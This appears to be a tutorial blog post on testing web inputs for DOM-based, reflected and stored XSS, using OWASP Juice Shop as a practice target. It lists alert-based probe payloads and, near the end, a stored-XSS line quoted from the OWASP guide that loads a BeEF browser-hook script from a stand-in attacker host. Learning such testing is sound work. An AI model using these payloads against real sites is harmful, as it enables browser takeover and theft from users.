Let’s see how to test for DOM-based XSS by becoming the attacker. The first thing you need to do is look for an input field. This could be a comments section, search bar, or any place where the input is displayed after submission. Then, just type something that’s expected for this field (i.e. a typical search or comment) and check the normal output. Next, make a series of submissions with different scripts attached and check the output against the original. It’s best to start with something simple, like <h1> as it will tell you if the field allows special characters and runs the user’s HTML. Repeat this process until you either find a vulnerability or are satisfied that the input isn’t at risk.
Let’s take this one step further by breaking down each step while looking at an example. For this example, we decided to use an application provided by OWASP called OWASP Juice Shop. It is set up like a typical e-commerce site.
Step 1: Find an input field.

Here we can see that there’s a search bar, we will start there.

Step 2: Check the normal output of this field.
We’ll make a simple search for "apple" and check the output.

Step 3: Try a simple HTML tag.
Now, we will slightly change our search to <h1> apple. This is a quick way to determine if an input needs further testing. If the output is modified, then there is a high probability that more complex scripts will run. That being said, a lack of change in the output doesn’t mean that the input is safe.

Look at that! The output is different than before! This tells us that we definitely need to spend more time testing this input.
Step 4: Try more complex scripts.

Now that we have a good reason to continue testing this input, let’s try again with another script. There are many scripts you could choose from, but I find that it’s easier to use those which will produce an alert on the screen. That is why we will try <script> alert("XSS")</script> apple.

Ok, so that didn’t work. But we can’t give up so easily. Let’s try another!
Repeat Step 4: Try another script.
This time we’ll try <img src="" onerror=alert('XSS')> apple.

Woah! Notice how this time we were able to add a broken image to the page. That’s great, but our alert still didn’t appear. We need to keep trying.
Repeat Step 4: Try another script.

Now we will try <iframe src="javascript:alert(xss)"> apple.

Finally! We have injected an iframe into the DOM and successfully run the corresponding alert script.

If you look closely at the scripts we used, you’ll notice that we used different combinations of single quotes, double quotes, and back-ticks.

<script> alert("XSS") </script>

<img src="" onerror=alert('XSS')>

<iframe src="javascript:alert(xss)">

This isn’t just for fun, sometimes every detail matters, including font! That’s why it’s best to start small - you never know which characters will be accepted. If you want to try this for yourself, you can practice the same example on the OWASP Juice Shop testing site.

For reflected XSS, we need to find places where user input is reflected on the page. Next, test it’s normal output. Then, slowly try to manipulate these variables (or even the URL itself) until you succeed or are satisfied that there isn’t a vulnerability.
Let’s take a look at an example.
Step 1: Find an input field or URL variable which reflects user input.
Step 2: Check the normal output.

Here we have a simple site which welcomes the user with their name and displays a link.

"We can see already that there’s a variable (query parameter) in the HTTP request which is displayed on the page(user=MySmith) - we will start by using this variable to attack the page.

Step 3: Try something simple.

As with DOM XSS, start small and simple."
Step 4: Try something more complex.

Now we’ll try more complex scripts and check the output. For this example, we will modify the URL directly, rather than messing with the input field. We will replace user=MrSmith" with "user=<script> alert(123)</script>.

"Success! As you can see, the script was executed in the user’s browser. We also want to draw your attention to the fact that the original webpage looks normal - a user would have no idea they executed malicious code if we weren’t using an alert function.

The steps for testing stored XSS are pretty much the same as for DOM-based XSS.
Step 1: Find an input field.
Step 2: Check the normal output of this field.
Step 3: Try something simple.
Step 4: Try more complex scripts, repeat.

In general, you should check:

Let’s take a look at one example of a test using the BeEF tool, which was provided by the OWASP testing guide. A typical test scenario would be:

[email protected]”><script src=http://attackersite/beef/hook/beefmagic.js.php></script>

With the example above, an attacker could add a script to their own email on the webpage. This could possibly be done during registration or with updating a user profile. Then, any user who views a page, that runs this malicious code, is now a potential victim as their browsers can now be controlled by the attacker.